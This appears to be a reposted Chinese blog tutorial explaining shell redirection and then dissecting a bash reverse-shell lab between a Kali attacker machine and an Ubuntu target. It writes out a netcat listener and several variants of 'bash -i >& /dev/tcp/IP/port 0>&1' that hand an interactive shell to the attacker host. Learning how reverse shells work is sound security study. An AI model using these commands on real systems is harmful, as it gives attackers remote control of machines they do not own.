【Shell】重定向以及基础的bash反弹shell的学习

前言

最近学了下shell脚本的编写,看见重定向想起前几天反弹shell的一道题,当时还看不太懂,学完重定向之后就有点能看懂了,写篇文章记录一下。

重定向

一般情况下,一个命令会有输入的地方,有输出的地方,有错误输出的地方,默认情况下一般都是你的终端。

一般情况下,每个 Unix/Linux 命令运行时会打开三个文件

1、标准输入文件(stdin):stdin的文件描述符为0,Unix程序默认从stdin读取数据。 2、标准输出文件(stdout):stdout 的文件描述符为1,Unix程序默认向stdout输出数据。 3、标准错误文件(stderr):stderr的文件描述符为2,Unix程序会向stderr流中写入错误信息。

但有时候需要我们将数据从其他文件中读入或者读出,这就需要我们进行重定向。

命令 说明
command > file 将输出重定向到 file。
command < file 将输入重定向到 file。
command >> file 将输出以追加的方式重定向到 file。
n > file 将文件描述符为 n 的文件重定向到 file。
n >> file 将文件描述符为 n 的文件以追加的方式重定向到 file。
n >& m 将输出文件 m 和 n 合并。
n <& m 将输入文件 m 和 n 合并。
<< tag 将开始标记 tag 和结束标记 tag 之间的内容作为输入。

输出重定向:就是把要输出的内容放进另一个地方,比如文件

实例:

cal > 111.txt
​
# 顺便将 >& 也讲了
cal > 111.txt >& 222.txt
就会产生两个文件,都是同个内容

输入重定向:就是读取输入的内容换个地方,比如从文件中读取内容

实例:

cat < file.txt # 结果和 cat file.txt 一样,但是中间的过程是不一样的

其他网上搜吧

反弹shell

以下是很基础的反弹shell的理论知识和实验,老鸟可以绕道了。

参考文章:(你可以先看我的,再看参考文章哟~多篇结合着看就能看懂)

bash命令_linux反弹shell之bash命令解析_weixin_39529302的博客-CSDN博客 (这篇 bash -i 反弹 shell 写的很好很详细,也挺基础)

浅析Linux之bash反弹shell原理 _ 【IIS7站长之家】 (这篇是永远的神,讲的超级详细)

我们就直接开始实验,再一步步剖析 bash -i 命令反弹 shell 的原理

开始实验

环境:

攻击机:kali 192.168.121.132

靶机:Ubuntu 192.168.121.133

攻击机准备:在kali中,我们先查看自己的端口,用 ufw 命令

ufw status # 查看现在kali机开放了哪些端口,等会弹shell要用
​
# 如果没有能用的端口,那么我们就单独开放一个,比如:
ufw allow 1234
​
# 端口开启后,我们开始监听
nc -lvvp 1234

靶机:在Ubuntu中执行如下命令

bash -i >& /dev/tcp/192.168.121.132/1234 0>&1 # 将shell弹到攻击机的1234端口

此时kali机中就得到了反弹的shell

一步步剖析命令

bash -i >& /dev/tcp/192.168.121.132/1234 0>&1

bash -i :创建一个交互式的 bash ,先引用网上的一段话:交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的。为了帮助理解,我下面也有实验,不加 bash -i 进行连接,看看会发生什么。

/dev/tcp/192.168.121.132/1234:/dev/tcp 是一个特殊的虚拟设备,打开文件就等于建立了一个socket连接,读写内容进这个文件就等于在传输数据,所以意思就是和 192.168.121.132:1234 建立了TCP连接

>&[...]:相当于是 > [...] 2>&1 ,意义是将 错误输出的信息重定向到标准输出中(不知道为什么,好像规则就是这样)

比如:

cal >& 111.txt
# 上式等价于:
cal > 111.txt 2>&1 # 会将错误输出和标准输出均放入111.txt中

0>&1:当 >& 前后是数字时,规则和上面又不一样了,就是将输入重定向到输出

所以我们现在再来看一整条命令,我们还可以写成如下形式

bash -i > /dev/tcp/192.168.121.132/1234 0>&1 2>&1
​
# 同样能反弹shell

上面这串命令更好理解,我们创建一个bash交互环境,然后将输出重定向到 攻击机上,同时,我们将输入和错误输出也全部重定向到输出的文件中,也就是重定向到攻击机上 ,这样就把所有shell弹给攻击机了

进一步实验

实验中,发现不同用户执行bash命令,就会弹给kali不同用户的shell

先试试如下命令,没有放 bash -i,也就是没有交互式环境

>& /dev/tcp/192.168.121.132/1234 0>&1 2>&1

会发现在kali机中弹回了shell,但是由于没有bash交互环境,无法进行交互

再试试

bash -i > /dev/tcp/192.168.121.132/1234

会发现只有输出重定向到了攻击机中,而输入和错误输出均在靶机中,和上面剖析的是一样的

再试试下面这个

bash -i >& /dev/tcp/192.168.121.132/1234
# 相当于如下命令
bash -i > /dev/tcp/192.168.121.132/1234 2>&1

会发现,在攻击机中输入没有用,而在靶机中,我们输入命令,没有任何回显,回显会在攻击机中出现,也就是输出和错误输出均重定向到了攻击机中,而靶机中只有输入权限。

其他就不试了,只要理解了都是一样的。

tips:如果想要完全理解,必须要自己去实验!!!我在做实验后才知道原来实验前的我根本就不懂。还有,记得在实验开始前给靶机上快照,还好我有快照的习惯,shell弹回攻击机后,我输入了命令 reboot 结果靶机就崩坏了...

参考文章:

反弹失败参考文章:

https://blog.51cto.com/u_12632800/480890

猜你喜欢

转载自blog.csdn.net/BrosyveryOK/article/details/126861458